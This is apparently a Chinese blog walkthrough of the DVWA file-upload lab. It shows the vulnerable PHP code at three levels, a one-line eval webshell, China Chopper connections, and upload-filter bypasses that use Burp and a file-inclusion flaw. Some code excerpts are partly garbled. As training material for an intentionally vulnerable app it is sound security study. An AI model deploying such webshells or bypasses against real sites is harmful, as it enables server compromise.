DVWA-File upload

Low级别
源代码如下

 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } ?>

low级别没有做任何过滤
我们上传一句话木马。

 @eval($_POST[yjh])?>

DVWA-File upload_第1张图片
上传成功。
菜刀连接一下。
DVWA-File upload_第2张图片
DVWA-File upload_第3张图片
Medium级别
源代码如下

 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

这里对上传文件做了过滤,只允许图片格式上传。
DVWA-File upload_第4张图片
上传成功。
菜刀连接。
DVWA-File upload_第5张图片
可是获取不到权限,可以利用文件包含漏洞来获取权限.
在菜刀中添加这一行重新连接一下。
http://ybz.dvwa.com/vulnerabilities/fi/?page=http://ybz.dvwa.com/hackable/uploads/yjh.png
DVWA-File upload_第6张图片
获取权限。
Burp改包方式上传。
DVWA-File upload_第7张图片
上传成功。
DVWA-File upload_第8张图片
菜刀连接
DVWA-File upload_第9张图片

High级别
源代码如下

 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

这里允许上传.jpg .png .jpeg的格式上传。
图片马制
DVWA-File upload_第10张图片
DVWA-File upload_第11张图片
上传成功。
DVWA-File upload_第12张图片
木马连接地址:http://ybz.dvwa.com/vulnerabilities/?page=file:///var/www/html/dvwa/hackable/uploads/tpyjh.jpg
DVWA-File upload_第13张图片
参考链接
原作者:lonehand 参考转自:freebuff.com

https://www.freebuf.com/articles/web/119467.html

你可能感兴趣的:(DVWA-File upload)